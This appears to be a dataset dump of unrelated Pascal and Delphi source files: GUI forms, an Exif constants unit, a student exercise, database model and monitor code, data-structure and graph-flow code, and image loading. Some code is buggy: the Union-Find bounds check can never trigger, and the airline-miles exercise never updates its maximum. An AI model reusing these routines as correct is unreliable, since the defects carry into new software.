text stringlengths 14 6.51M |
|---|
unit ufrmEditor;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, uframeEditorHtml, Vcl.StdCtrls,
Vcl.ExtCtrls;
type
TfrmEditor = class(TForm)
Panel1: TPanel;
Panel2: TPanel;
btnModeloCancelar: TButton;
frameEditorHtml: TframeEditorHtml;
procedure FormCreate(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure btnModeloCancelarClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
Html : String;
Arquivo : String;
PodeAbrirArquivo,
PodeSalvarArquivo,
PodeAlterar : Boolean;
procedure AjustaraTela;
end;
var
frmEditor: TfrmEditor;
implementation
uses
uFuncoes;
{$R *.dfm}
{ TfrmEditor }
procedure TfrmEditor.AjustaraTela;
begin
Self.Height := Funcoes.AjustaAlturaFormModal(Self.Handle, 1000000);
Self.Width := Funcoes.AjustaLarguraFormModal(Self.Handle,1000000);
end;
procedure TfrmEditor.btnModeloCancelarClick(Sender: TObject);
begin
if frameEditorHtml.DocumentoAlterado then begin
if Application.MessageBox(PWideChar(
'Existem alterações não salvas no documento atual. Deseja salvar as alterações realizadas?'),
'Confirmação', MB_ICONQUESTION + MB_YESNO
) <> ID_YES then
Self.ModalResult := mrCancel
else
if frameEditorHtml.SalvarHtml then begin
Self.Html := frameEditorHtml.RetornaCodigoHtml;
Self.ModalResult := mrOk
end;
end else
Self.ModalResult := mrCancel;
end;
procedure TfrmEditor.FormCreate(Sender: TObject);
begin
Arquivo := '';
Html := '';
PodeAbrirArquivo := True;
PodeSalvarArquivo := True;
PodeAlterar := True;
end;
procedure TfrmEditor.FormShow(Sender: TObject);
var Arq : TStrings;
begin
inherited;
if FileExists(Arquivo) then begin
try
Arq := TStringList.Create;
Arq.LoadFromFile(Arquivo);
Html := Arq.Text;
finally
FreeAndNil(Arq);
end;
end;
frameEditorHtml.CarregaDocumento(Html);
frameEditorHtml.PodeAlterar := True;
frameEditorHtml.FocarEditor;
end;
end.
|
{**************************************************************************************}
{ }
{ CCR Exif - Delphi class library for reading and writing Exif metadata in JPEG files }
{ Version 1.5.2 beta }
{ }
{ The contents of this file are subject to the Mozilla Public License Version 1.1 }
{ (the "License"); you may not use this file except in compliance with the License. }
{ You may obtain a copy of the License at http://www.mozilla.org/MPL/ }
{ }
{ Software distributed under the License is distributed on an "AS IS" basis, WITHOUT }
{ WARRANTY OF ANY KIND, either express or implied. See the License for the specific }
{ language governing rights and limitations under the License. }
{ }
{ The Original Code is CCR.Exif.Consts.pas. }
{ }
{ The Initial Developer of the Original Code is Chris Rolliston. Portions created by }
{ Chris Rolliston are Copyright (C) 2009-2012 Chris Rolliston. All Rights Reserved. }
{ }
{**************************************************************************************}
unit CCR.Exif.Consts;
interface
const
CCRExifVersion = '1.5.2 beta';
resourcestring
SStreamIsReadOnly = 'Stream is read-only';
SUnsupportedGraphicFormat = 'Unsupported graphic format';
SInvalidJPEGHeader = 'JPEG header is not valid';
SInvalidPSDHeader = 'Photoshop (PSD) file header is not valid';
SFileIsNotAValidJPEG = '"%s" is not a valid JPEG file';
SInvalidTiffData = 'Invalid TIFF data';
SInvalidOffsetTag = 'Tag does not specify an offset';
SInvalidExifData = 'Malformed EXIF data';
SAsciiValueCannotBeArray = 'An ASCII tag cannot be an array';
SUndefinedValueMustBeBeArray = 'An undefined tag must be an array';
SInvalidFraction = '''%s'' is not a valid fraction';
STagAlreadyExists = 'Tag with ID of "%d" already exists in section';
SNoFileOpenError = 'No file is open';
SIllegalEditOfExifData = 'Illegal attempt to edit the Exif data in such ' +
'a way that it would change the file structure';
STagCanContainOnlyASCII = 'Tag may contain only ASCII string data';
SInvalidMakerNoteFormat = 'Invalid MakerNote format';
SCannotRewriteOldStyleTiffJPEG = 'Cannot rewrite old style TIFF-JPEG';
SInvalidXMPPacket = 'XMP packet is not valid';
SSubPropertiesMustBeNamed = 'Sub-properties must be named';
SSubPropertiesNotSupported = 'Property type does not support sub-properties';
SCannotWriteSingleValueToStructureProperty = 'Cannot assign a single value to a structure property';
SPreferredPrefixMustBeSet = 'The schema''s PreferredPrefix property must be set before a new item can be added';
SInvalidAdobeSegment = 'Invalid Adobe metadata segment';
SInvalidIPTCTagSizeField = 'Invalid IPTC tag size field (%d)';
implementation
end. |
{Una aerolínea debe actualizar las millas acumuladas por sus clientes en los viajes que han realizado el
último año. Por cada uno de ellos registró:
• DNI (cadena de 8)
• Millas acumuladas (hasta el momento, entero)
Cantidad de viajes realizados y a continuación para el mismo cliente por cada uno de sus viajes:
Destino (C-cabotaje; I- internacional)
Clase (P-primera; B- business; T-turista)
Se pide leer los datos descriptos para informar:
a) De cada pasajero el DNI, el millaje actualizado y total de viajes internacionales.
b) DNI del cliente cuyas millas en el último año representan el mayor % con respecto a las que tenía
acumuladas anteriormente.
c) Total general de viajes por clase.
Las millas por viaje se otorgan de la siguiente manera:
- 1000 si es de cabotaje y 5000 si es internacional.
- Se triplica si es 1ra clase y se duplica si es business .
Desarrollar y utilizar en la solución una función Millas con los parámetros que considere necesarios para
calcular las millas obtenidas en un viaje}
Program Millas;
Function Millas(Des,Clas:char; Ms:integer):Integer;
Begin
Case Des of
'C':Ms:= 1000;
'I':Ms:= 5000;
end;
Case Clas of
'P':Ms:= Ms * 3;
'B':Ms:= Ms * 2;
end;
Millas:= Ms;
end;
Var
Dni,MaxDni:string[8];
Des,Clas,Esp:char;
CantP,CantB,CanT,CantVI,i,N:byte;
Ms,Max:integer;
Porc:real;
arch:text;
Begin
CantP:= 0; // Debo inicializar estas variables contadores fuera del ciclo que las recorre porque sino realizara mal el conteo.
CantB:= 0;
CanT:= 0;
assign(arch,'Millas.txt');reset(arch);
readln(arch,N);
For i:= 1 to N do
begin
Ms:= 0;
Max:= 0;
CantVI:= 0; //Debe ser inicializada antes del ciclo while pero dentro del for para que las cuente correctamente.
readln(arch,Dni);
read(arch,Ms,Esp,Des,Esp,Clas);
while (Ms <> 0) do
begin
If (Des = 'I') then
CantVI:= CantVI + 1;
Case Clas of
'P':CantP:= CantP + 1;
'B':CantB:= CantB + 1;
'T':CanT:= CanT + 1;
end;
Porc:= (Ms / Millas(Des,Clas,Ms)) * 100;
If (Porc > Max) then
MaxDni:= Dni;
Ms:= Ms + Millas(Des,Clas,Ms);
writeln(Dni,' millaje actualizado a: ',Ms,' millas con ',CantVI,' viajes internacionales');
read(arch,Ms,Esp,Des,Esp,Clas); //Debe ser read y estar al final del ciclo porque sino se saltea la primera milla de cada Dni.
end;
writeln;
end;
close(arch);
writeln('Dni del cliente que mas incremento sus millas porcentualmente: ',MaxDni);
writeln('Cantidad de viajes en primera clase: ',CantP);
writeln('Cantidad de viajes en clase business: ',CantB);
writeln('Cantidad de viajes en clase turista: ',CanT);
end.
|
unit Cotacao.Model;
interface
uses
ormbr.container.objectset.interfaces, ormbr.Factory.interfaces,
FireDAC.Stan.Param, FireDAC.DatS, FireDAC.DApt.Intf, FireDAC.DApt,
FireDAC.Comp.DataSet, FireDAC.Stan.Intf, FireDAC.Stan.Option,
FireDAC.Stan.Error, FireDAC.UI.Intf, FireDAC.Phys.Intf, FireDAC.Stan.Def,
FireDAC.Stan.Pool, FireDAC.Stan.Async, FireDAC.Phys, FireDAC.Phys.FBDef,
FireDAC.VCLUI.Wait, FireDAC.Comp.UI, FireDAC.Phys.IBBase, FireDAC.Phys.FB,
Data.DB, FireDAC.Comp.Client, System.SysUtils, TESTCOTACAO.Entidade.Model,
Cotacao.Model.Interf;
type
TCotacaoModel = class(TInterfacedObject, ICotacaoModel)
private
FConexao: IDBConnection;
FEntidade: TTESTCOTACAO;
FDao: IContainerObjectSet<TTESTCOTACAO>;
FDQuery: TFDQuery;
public
constructor Create;
destructor Destroy; override;
class function New: ICotacaoModel;
function Entidade(AValue: TTESTCOTACAO): ICotacaoModel; overload;
function Entidade: TTESTCOTACAO; overload;
function DAO: IContainerObjectSet<TTESTCOTACAO>;
function query: TFDQuery;
function queryItensCotacao(ACodOrcamento: string): TFDQuery;
end;
implementation
{ TCotacaoModel }
uses FacadeController, ormbr.container.objectset, cqlbr.interfaces,
criteria.query.language, FacadeModel, Conexao.Model.Interf,
cqlbr.serialize.firebird;
constructor TCotacaoModel.Create;
begin
FConexao := TFacadeController.New.ConexaoController.conexaoAtual;
FDao := TContainerObjectSet<TTESTCOTACAO>.Create(FConexao, 1);
FDQuery := TFDQuery.Create(nil);
FDQuery.Connection := TFacadeModel.New.conexaoFactoryModel.
conexaoComBancoDeDados(dbFirebird).ConexaoFireDac;
end;
function TCotacaoModel.DAO: IContainerObjectSet<TTESTCOTACAO>;
begin
Result := FDao;
end;
destructor TCotacaoModel.Destroy;
begin
inherited;
end;
function TCotacaoModel.Entidade(AValue: TTESTCOTACAO): ICotacaoModel;
begin
Result := Self;
FEntidade := AValue;
end;
function TCotacaoModel.Entidade: TTESTCOTACAO;
begin
Result := FEntidade;
end;
class function TCotacaoModel.New: ICotacaoModel;
begin
Result := Self.Create;
end;
function TCotacaoModel.query: TFDQuery;
begin
Result := FDQuery;
end;
function TCotacaoModel.queryItensCotacao(ACodOrcamento: string): TFDQuery;
begin
FDQuery.SQL.Clear;
FDQuery.Active := False;
FDQuery.SQL.Add(Format(' select ' +
'b.codigo, ' +
'b.codigo_sinapi, ' +
'b.descricao, ' +
'b.unidmedida, ' +
'a.qtde ' +
'from ' +
'testorcamentoitens a ' +
'inner join testproduto b on (b.codigo = a.idproduto) ' +
'where a.idorcamento = %s ',
[QuotedStr(ACodOrcamento)]));
FDQuery.Active := True;
Result := FDQuery;
end;
end.
|
unit ibSHDriver_IBX;
interface
uses
// Native Modules
SysUtils, Classes, StrUtils,
// SQLHammer Modules
SHDesignIntf, ibSHDesignIntf, ibSHDriverIntf,
// IBX Modules
IB, IBSQLMonitor;
type
TibBTDriver = class(TSHComponent, IibSHDRV)
private
FNativeDAC: TObject;
FErrorText: string;
function GetNativeDAC: TObject;
procedure SetNativeDAC(Value: TObject);
function GetErrorText: string;
procedure SetErrorText(Value: string);
public
property NativeDAC: TObject read GetNativeDAC write SetNativeDAC;
property ErrorText: string read GetErrorText write SetErrorText;
end;
TibBTDRVMonitor = class(TibBTDriver, IibSHDRVMonitor)
private
FIBXMonitor: TIBSQLMonitor;
function GetActive: Boolean;
procedure SetActive(Value: Boolean);
function GetTracePrepare: Boolean;
procedure SetTracePrepare(Value: Boolean);
function GetTraceExecute: Boolean;
procedure SetTraceExecute(Value: Boolean);
function GetTraceFetch: Boolean;
procedure SetTraceFetch(Value: Boolean);
function GetTraceConnect: Boolean;
procedure SetTraceConnect(Value: Boolean);
function GetTraceTransact: Boolean;
procedure SetTraceTransact(Value: Boolean);
function GetTraceService: Boolean;
procedure SetTraceService(Value: Boolean);
function GetTraceStmt: Boolean;
procedure SetTraceStmt(Value: Boolean);
function GetTraceError: Boolean;
procedure SetTraceError(Value: Boolean);
function GetTraceBlob: Boolean;
procedure SetTraceBlob(Value: Boolean);
function GetTraceMisc: Boolean;
procedure SetTraceMisc(Value: Boolean);
function GetOnSQL: TibSHOnSQLNotify;
procedure SetOnSQL(Value: TibSHOnSQLNotify);
protected
property IBXMonitor: TIBSQLMonitor read FIBXMonitor;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
class function GetClassIIDClassFnc: TGUID; override;
property Active: Boolean read GetActive write SetActive;
property TracePrepare: Boolean read GetTracePrepare write SetTracePrepare;
property TraceExecute: Boolean read GetTraceExecute write SetTraceExecute;
property TraceFetch: Boolean read GetTraceFetch write SetTraceFetch;
property TraceConnect: Boolean read GetTraceConnect write SetTraceConnect;
property TraceTransact: Boolean read GetTraceTransact write SetTraceTransact;
property TraceService: Boolean read GetTraceService write SetTraceService;
property TraceStmt: Boolean read GetTraceStmt write SetTraceStmt;
property TraceError: Boolean read GetTraceError write SetTraceError;
property TraceBlob: Boolean read GetTraceBlob write SetTraceBlob;
property TraceMisc: Boolean read GetTraceMisc write SetTraceMisc;
property OnSQL: TibSHOnSQLNotify read GetOnSQL write SetOnSQL;
end;
implementation
{ TibBTDriver }
function TibBTDriver.GetNativeDAC: TObject;
begin
Result := FNativeDAC;
end;
procedure TibBTDriver.SetNativeDAC(Value: TObject);
begin
FNativeDAC := Value;
end;
function TibBTDriver.GetErrorText: string;
begin
Result := FErrorText;
end;
procedure TibBTDriver.SetErrorText(Value: string);
function FormatErrorMessage(const E: string): string;
begin
Result := AnsiReplaceText(E, ':' + sLineBreak, '');
Result := AnsiReplaceText(Result, sLineBreak, '');
end;
begin
FErrorText := FormatErrorMessage(Value);
end;
{ TibBTDRVMonitor }
constructor TibBTDRVMonitor.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FIBXMonitor := TIBSQLMonitor.Create(nil);
NativeDAC := FIBXMonitor;
FIBXMonitor.Enabled := False;
// FIBXMonitor.Enabled := True;
FIBXMonitor.TraceFlags := [];
end;
destructor TibBTDRVMonitor.Destroy;
begin
FIBXMonitor.Free;
inherited Destroy;
end;
class function TibBTDRVMonitor.GetClassIIDClassFnc: TGUID;
begin
Result := IibSHDRVMonitor_IBX;
end;
function TibBTDRVMonitor.GetActive: Boolean;
begin
Result := FIBXMonitor.Enabled;
end;
procedure TibBTDRVMonitor.SetActive(Value: Boolean);
begin
FIBXMonitor.Enabled := Value;
end;
function TibBTDRVMonitor.GetTracePrepare: Boolean;
begin
Result := tfQPrepare in FIBXMonitor.TraceFlags;
end;
procedure TibBTDRVMonitor.SetTracePrepare(Value: Boolean);
begin
if Value then
FIBXMonitor.TraceFlags := FIBXMonitor.TraceFlags + [tfQPrepare]
else
FIBXMonitor.TraceFlags := FIBXMonitor.TraceFlags - [tfQPrepare];
end;
function TibBTDRVMonitor.GetTraceExecute: Boolean;
begin
Result := tfQExecute in FIBXMonitor.TraceFlags;
end;
procedure TibBTDRVMonitor.SetTraceExecute(Value: Boolean);
begin
if Value then
FIBXMonitor.TraceFlags := FIBXMonitor.TraceFlags + [tfQExecute]
else
FIBXMonitor.TraceFlags := FIBXMonitor.TraceFlags - [tfQExecute];
end;
function TibBTDRVMonitor.GetTraceFetch: Boolean;
begin
Result := tfQFetch in FIBXMonitor.TraceFlags;
end;
procedure TibBTDRVMonitor.SetTraceFetch(Value: Boolean);
begin
if Value then
FIBXMonitor.TraceFlags := FIBXMonitor.TraceFlags + [tfQFetch]
else
FIBXMonitor.TraceFlags := FIBXMonitor.TraceFlags - [tfQFetch];
end;
function TibBTDRVMonitor.GetTraceConnect: Boolean;
begin
Result := tfConnect in FIBXMonitor.TraceFlags;
end;
procedure TibBTDRVMonitor.SetTraceConnect(Value: Boolean);
begin
if Value then
FIBXMonitor.TraceFlags := FIBXMonitor.TraceFlags + [tfConnect]
else
FIBXMonitor.TraceFlags := FIBXMonitor.TraceFlags - [tfConnect];
end;
function TibBTDRVMonitor.GetTraceTransact: Boolean;
begin
Result := tfTransact in FIBXMonitor.TraceFlags;
end;
procedure TibBTDRVMonitor.SetTraceTransact(Value: Boolean);
begin
if Value then
FIBXMonitor.TraceFlags := FIBXMonitor.TraceFlags + [tfTransact]
else
FIBXMonitor.TraceFlags := FIBXMonitor.TraceFlags - [tfTransact];
end;
function TibBTDRVMonitor.GetTraceService: Boolean;
begin
Result := tfService in FIBXMonitor.TraceFlags;
end;
procedure TibBTDRVMonitor.SetTraceService(Value: Boolean);
begin
if Value then
FIBXMonitor.TraceFlags := FIBXMonitor.TraceFlags + [tfService]
else
FIBXMonitor.TraceFlags := FIBXMonitor.TraceFlags - [tfService];
end;
function TibBTDRVMonitor.GetTraceStmt: Boolean;
begin
Result := tfStmt in FIBXMonitor.TraceFlags;
end;
procedure TibBTDRVMonitor.SetTraceStmt(Value: Boolean);
begin
if Value then
FIBXMonitor.TraceFlags := FIBXMonitor.TraceFlags + [tfStmt]
else
FIBXMonitor.TraceFlags := FIBXMonitor.TraceFlags - [tfStmt];
end;
function TibBTDRVMonitor.GetTraceError: Boolean;
begin
Result := tfError in FIBXMonitor.TraceFlags;
end;
procedure TibBTDRVMonitor.SetTraceError(Value: Boolean);
begin
if Value then
FIBXMonitor.TraceFlags := FIBXMonitor.TraceFlags + [tfError]
else
FIBXMonitor.TraceFlags := FIBXMonitor.TraceFlags - [tfError];
end;
function TibBTDRVMonitor.GetTraceBlob: Boolean;
begin
Result := tfBlob in FIBXMonitor.TraceFlags;
end;
procedure TibBTDRVMonitor.SetTraceBlob(Value: Boolean);
begin
if Value then
FIBXMonitor.TraceFlags := FIBXMonitor.TraceFlags + [tfBlob]
else
FIBXMonitor.TraceFlags := FIBXMonitor.TraceFlags - [tfBlob];
end;
function TibBTDRVMonitor.GetTraceMisc: Boolean;
begin
Result := tfMisc in FIBXMonitor.TraceFlags;
end;
procedure TibBTDRVMonitor.SetTraceMisc(Value: Boolean);
begin
if Value then
FIBXMonitor.TraceFlags := FIBXMonitor.TraceFlags + [tfMisc]
else
FIBXMonitor.TraceFlags := FIBXMonitor.TraceFlags - [tfMisc];
end;
function TibBTDRVMonitor.GetOnSQL: TibSHOnSQLNotify;
begin
Result := FIBXMonitor.OnSQL;
end;
procedure TibBTDRVMonitor.SetOnSQL(Value: TibSHOnSQLNotify);
begin
FIBXMonitor.OnSQL := Value;
end;
initialization
SHRegisterComponents([TibBTDRVMonitor]);
end.
|
// 第2版Union-Find
unit DSA.Tree.UnionFind2;
{$mode objfpc}{$H+}
interface
uses
Classes,
SysUtils,
DSA.Interfaces.DataStructure,
DSA.Utils;
type
{ TUnionFind2 }
TUnionFind2 = class(TInterfacedObject, IUnionFind)
private
__parent: TArray_int;
/// <summary> 查找元素p所对应的集合编号,
/// O(h)复杂度, h为树的高度.
/// </summary>
function __find(p: integer): integer;
public
constructor Create(size: integer);
function GetSize: integer;
/// <summary> 查看元素p和元素q是否所属一个集合 </summary>
function IsConnected(p, q: integer): boolean;
/// <summary> 合并元素p和元素q所属的集合 </summary>
procedure UnionElements(p, q: integer);
end;
implementation
{ TUnionFind2 }
constructor TUnionFind2.Create(size: integer);
var
i: integer;
begin
SetLength(__parent, size);
for i := 0 to size - 1 do
__parent[i] := i;
end;
function TUnionFind2.GetSize: integer;
begin
Result := Length(__parent);
end;
function TUnionFind2.IsConnected(p, q: integer): boolean;
begin
Result := __find(p) = __find(q);
end;
procedure TUnionFind2.UnionElements(p, q: integer);
var
pRoot, qRoot: integer;
begin
pRoot := __find(p);
qRoot := __find(q);
if pRoot = qRoot then
Exit;
__parent[pRoot] := qRoot;
end;
function TUnionFind2.__find(p: integer): integer;
begin
if (p < 0) and (p >= Length(__parent)) then
raise Exception.Create('p is out of bound.');
while p <> __parent[p] do
p := __parent[p];
Result := p;
end;
end.
|
{*********************************************************************
* Program : NANG CAP MANG MAY TINH *
* Date : 07-01-2006 *
* Group : Luong va Cap ghep *
*********************************************************************}
{$A+,B-,D+,E+,F-,G-,I+,L+,N+,O-,P-,Q-,R-,S-,T-,V+,X+,Y+}
{$M 16384,0,655360}
const
tfi = 'NANGCAP.INP';
tfo = 'NANGCAP.OUT';
maxN = 201;
Unseen = 2*maxn+1;
type
mang1 = array[1..maxN] of longint;
mang2 = array[1..maxN] of integer;
mang3 = array[1..2*maxN] of integer;
var
fi, fo : text;
N : integer;
s,t : mang1;
d : array[1..maxN] of ^mang1;
fs,ft : mang2;
fl : array[1..maxN] of ^mang2;
Q : mang3;
qf,ql : integer;
tr : mang3;
kt : integer;
solx : integer;
x : mang2;
procedure CapPhat;
var i: integer;
begin
for i:=1 to maxN do new(d[i]);
for i:=1 to maxN do new(fl[i]);
end;
procedure Docdl;
var i,j: integer;
begin
assign(fi,tfi); reset(fi);
read(fi,N);
for i:=1 to N do read(fi,s[i]);
for i:=1 to N do read(fi,t[i]);
for i:=1 to N do
for j:=1 to N do read(fi,d[i]^[j]);
close(fi);
end;
procedure Floy;
var i,j,k: integer;
begin
for k:=1 to N do
for i:=1 to N do
if (i<>k) then
for j:=1 to N do
if (j<>k) and (j<>i) and (d[i]^[j]>d[i]^[k]+d[k]^[j]) then
d[i]^[j]:=d[i]^[k]+d[k]^[j];
End;
procedure InitFlow;
var i: integer;
begin
for i:=1 to N do fs[i]:=-1;
for i:=1 to N do ft[i]:=-1;
for i:=1 to N do
fillchar(fl[i]^,sizeof(fl[i]^),0);
end;
procedure InitQ;
begin
qf:=1;
ql:=1;
end;
procedure Put(u: integer);
begin
q[ql]:=u;
inc(ql);
end;
function Get: integer;
begin
Get:=q[qf];
inc(qf);
end;
function Qempty: boolean;
begin
Qempty:=(qf=ql);
end;
function ThongQua(u,v: integer): integer;
var ok: boolean;
begin
ok:=(s[u]+t[u]+d[u]^[v]<=s[v]);
if ok then ThongQua:=0 else ThongQua:=-Unseen;
end;
procedure FindPath(var ok: boolean);
var i,u,v,cc: integer;
begin
ok:=true;
InitQ;
fillchar(tr,sizeof(tr),0);
for i:=1 to n do
if fs[i]<0 then
begin
Put(i);
tr[i]:=Unseen;
end;
while not Qempty do
begin
u:=Get;
if u<=N then
begin
{cung nguoc}
for v:=1 to N do
if v<>u then
begin
cc:=ThongQua(v,u);
if (cc>=fl[v]^[u]) and (Tr[v+N]=0) then
begin
Put(v+N);
Tr[v+N]:=-u;
end;
end;
end
else
begin
{dinh ket thuc}
if ft[u-N]<0 then
begin
kt:=u;
exit;
end;
{cung xuoi}
for v:=1 to N do
if v<>u-N then
begin
cc:=ThongQua(u-N,v);
if (cc>fl[u-N]^[v]) and (Tr[v]=0) then
begin
Put(v);
Tr[v]:=u;
end;
end;
end;
end;
ok:=false;
end;
procedure IncFlow;
var u,v: integer;
begin
u:=kt;
inc(ft[u-N]);
repeat
v:=tr[u];
if v<0 then
begin
v:=-v;
dec(fl[u-n]^[v]);
end
else if v<Unseen then inc(fl[v-N]^[u]);
if v<Unseen then u:=v;
until v=Unseen;
inc(fs[u]);
end;
procedure Solve;
var ok: boolean;
begin
InitFlow;
repeat
FindPath(ok);
if ok then IncFlow;
until not ok;
end;
procedure TimX(u: integer);
var v: integer;
stop: boolean;
begin
solx:=0;
stop:=false;
repeat
inc(solx);
x[solx]:=u;
if ft[u]=0 then
begin
for v:=1 to N do
if fl[u]^[v]=-1 then break;
u:=v;
end
else stop:=true;
until stop;
end;
procedure Inkq;
var mf,i,j: integer;
begin
assign(fo,tfo); rewrite(fo);
mf:=0;
for i:=1 to N do mf:=mf+fs[i];
writeln(fo,abs(mf));
for i:=1 to N do
if fs[i]=-1 then
begin
TimX(i);
write(fo,solx);
for j:=1 to solx do write(fo,#32,x[j]);
writeln(fo);
end;
close(fo);
end;
BEGIN
CapPhat;
Docdl;
Floy;
Solve;
Inkq;
END.
|
program ImageAlphaTest;
uses SwinGame;
procedure Main();
var
img1, img2 : Bitmap;
begin
OpenGraphicsWindow('Image Alpha Test', 800, 600);
LoadDefaultColors();
img1 := LoadBitmap('Obs1.png');
img2 := LoadBitmap('ball_small.png');
repeat
ProcessEvents();
ClearScreen(ColorWhite);
DrawBitmap(img1, 0, 0);
DrawBitmap(img2, 0, BitmapHeight(img1));
if BitmapPointCollision(img1, 0, 0, MousePosition()) then
begin
FillRectangle(ColorRed, 0, 0, 10, 10);
end;
if BitmapPointCollision(img2, 0, BitmapHeight(img1), MousePosition()) then
begin
FillRectangle(ColorRed, 0, 10, 10, 10);
end;
RefreshScreen(60);
until WindowCloseRequested();
end;
begin
Main();
end. |
unit uTiffImage;
interface
uses
Classes,
SysUtils,
Graphics,
FreeImage,
FreeBitmap,
Dmitry.Graphics.Types,
uFreeImageIO,
uMemory;
type
TTiffImage = class(TBitmap)
private
{ Private declarations }
FPage: Integer;
FPages: Integer;
FImage: PFIMULTIBITMAP;
procedure ClearImage;
procedure LoadFromFreeImage(Bitmap: PFIBITMAP);
public
{ Public declarations }
procedure LoadFromStreamEx(Stream: TStream; Page: Integer);
procedure LoadFromStream(Stream: TStream); override;
procedure SaveToStream(Stream: TStream); override;
function GetPagesCount(Stream: TStream): Integer;
constructor Create; override;
destructor Destroy; override;
published
property Page: Integer read FPage write FPage;
property Pages: Integer read FPages;
end;
implementation
{ TTiffImage }
procedure TTiffImage.ClearImage;
begin
if FImage <> nil then
FreeImage_CloseMultiBitmap(FImage);
end;
constructor TTiffImage.Create;
begin
inherited;
FreeImageInit;
FPages := 1;
FPage := 0;
FImage := nil;
ClearImage;
end;
destructor TTiffImage.Destroy;
begin
ClearImage;
inherited;
end;
function TTiffImage.GetPagesCount(Stream: TStream): Integer;
begin
LoadFromStreamEx(Stream, -1);
Result := Pages;
end;
procedure TTiffImage.LoadFromFreeImage(Bitmap: PFIBITMAP);
var
I, J: Integer;
PS, PD: PARGB;
W, H: Integer;
begin
PixelFormat := pf24Bit;
W := FreeImage_GetWidth(Bitmap);
H := FreeImage_GetHeight(Bitmap);
Width := W;
Height := H;
for I := 0 to H - 1 do
begin
PS := PARGB(FreeImage_GetScanLine(Bitmap, H - I - 1));
PD := ScanLine[I];
for J := 0 to W - 1 do
PD[J] := PS[J];
end;
end;
procedure TTiffImage.LoadFromStream(Stream: TStream);
begin
LoadFromStreamEx(Stream, Page);
end;
procedure TTiffImage.LoadFromStreamEx(Stream: TStream; Page: Integer);
var
IO: FreeImageIO;
Bitmap, Bitmap24: PFIBITMAP;
Fif: FREE_IMAGE_FORMAT;
M: TMemoryStream;
FHMem: PFIMEMORY;
begin
if Page > -1 then
ClearImage;
if Page = -1 then
Page := 0;
FPage := Page;
SetStreamFreeImageIO(IO);
FIF := FreeImage_GetFileTypeFromHandle(@IO, Stream);
M := TMemoryStream.Create;
try
M.CopyFrom(Stream, Stream.Size);
M.Seek(0, soFromBeginning);
FHMem := FreeImage_OpenMemory(M.Memory, M.Size);
try
FImage := FreeImage_LoadMultiBitmapFromMemory(FIF, FHMem, 0);
FPages := FreeImage_GetPageCount(FImage);
if Page > -1 then
begin
Bitmap := FreeImage_LockPage(FImage, FPage);
if Bitmap = nil then
Bitmap := FreeImage_LoadFromMemory(FIF, FHMem);
if Bitmap = nil then
raise Exception.Create('Can''t load tiff image!');
try
Bitmap24 := FreeImage_ConvertTo24Bits(Bitmap);
if Bitmap24 = nil then
raise Exception.Create('Can''t convert image to 24 bit!');
try
LoadFromFreeImage(Bitmap24);
finally
FreeImage_Unload(Bitmap24);
end;
finally
FreeImage_UnlockPage(FImage, Bitmap, False);
end;
end;
finally
FreeImage_CloseMemory(FHMem);
end;
finally
F(M);
end;
end;
procedure TTiffImage.SaveToStream(Stream: TStream);
var
Bitmap, Bitmap24: PFIBITMAP;
M: TMemoryStream;
MemIO: TFreeMemoryIO;
Data: PByte;
Size: Cardinal;
FHMem: PFIMEMORY;
procedure SaveFreeImageDib(B: PFIBITMAP);
begin
Bitmap24 := FreeImage_ConvertTo24Bits(B);
try
try
if MemIO.Write(FIF_TIFF, Bitmap24, TIFF_LZW) then
begin
MemIO.Acquire(Data, Size);
Stream.WriteBuffer(Data^, Size);
end;
finally
F(M);
end;
finally
FreeImage_Unload(Bitmap24);
end;
end;
begin
FPage := 0;
FPages := 1;
MemIO := TFreeMemoryIO.Create;
try
if FImage = nil then
begin
//if FreeImage is null we save image from bitmap
M := TMemoryStream.Create;
try
inherited SaveToStream(M);
M.Seek(0, soFromBeginning);
FHMem := FreeImage_OpenMemory(M.Memory, M.Size);
try
Bitmap := FreeImage_LoadFromMemory(FIF_BMP, FHMem);
try
SaveFreeImageDib(Bitmap);
finally
FreeImage_Unload(Bitmap);
end;
finally
FreeImage_CloseMemory(FHMem);
end;
Exit;
finally
F(M);
end;
end;
Bitmap := FreeImage_LockPage(FImage, FPage);
try
SaveFreeImageDib(Bitmap);
finally
FreeImage_UnlockPage(FImage, Bitmap, False);
end;
finally
F(MemIO);
end;
end;
end.
|
{
Built-in identifiers unit.
You may edit this file but any modifications will be discarded after IDE restart.
Feel free to suggest additions to this file.
}
unit $builtins;
{$DEFINE _IDE_PARSER_} // This define is always defined in I-Pascal and can be used to fix include-related parsing issues
{$DEFINE _IDE_DISABLE_CONDITIONALS_} // This define can be defined if it's desirable for I-Pascal to ignore conditional compilation e.g. to fix parsing issues
interface
const
MaxInt = 2147483647;
MaxLongint = 2147483647;
type
string = string;
Integer = -2147483648..2147483647;
Byte = 0..255;
ShortInt = -128..127;
Word = 0..65535;
SmallInt = -32768..32767;
LongWord = 0..4294967295;
LongInt = -2147483648..2147483647;
QWord = 0..18446744073709551615;
Int64 = -9223372036854775808..9223372036854775807;
UInt64 = UInt64;
Cardinal = Cardinal;
Boolean = false..true;
Boolean16 = false..true;
Boolean32 = false..true;
Boolean64 = false..true;
ByteBool = false..true;
WordBool = false..true;
LongBool = false..true;
QWordBool = false..true;
Char = Char;
WideChar = WideChar;
ShortString = ShortString;
AnsiString = AnsiString;
WideString = WideString;
UnicodeString = UnicodeString;
OpenString = OpenString;
Single = Single;
Double = Double;
Extended = Extended;
CExtended = CExtended;
Currency = Currency;
Pointer = Pointer;
NearPointer = NearPointer;
NearCsPointer = NearCsPointer;
NearDsPointer = NearDsPointer;
NearSsPointer = NearSsPointer;
NearEsPointer = NearEsPointer;
NearFsPointer = NearFsPointer;
NearGsPointer = NearGsPointer;
Variant = Variant;
OleVariant = OleVariant;
Comp = Comp;
Text = Text;
TypedFile = TypedFile;
Real = Real;
NativeInt = NativeInt;
NativeUInt = NativeUInt;
PWideChar = ^WideChar;
AnsiChar = AnsiChar;
PAnsiChar = ^AnsiChar;
PChar = ^Char;
PShortString = ^ShortString;
TextFile = TextFile;
TArray<T> = class
public property __ArrData[Index: Integer]: T; default;
end;
const
PI: Extended = 3.1415926535897932385;
// Returns an absolute value.
function Abs(X: Integer): Integer; overload;
// Returns an absolute value.
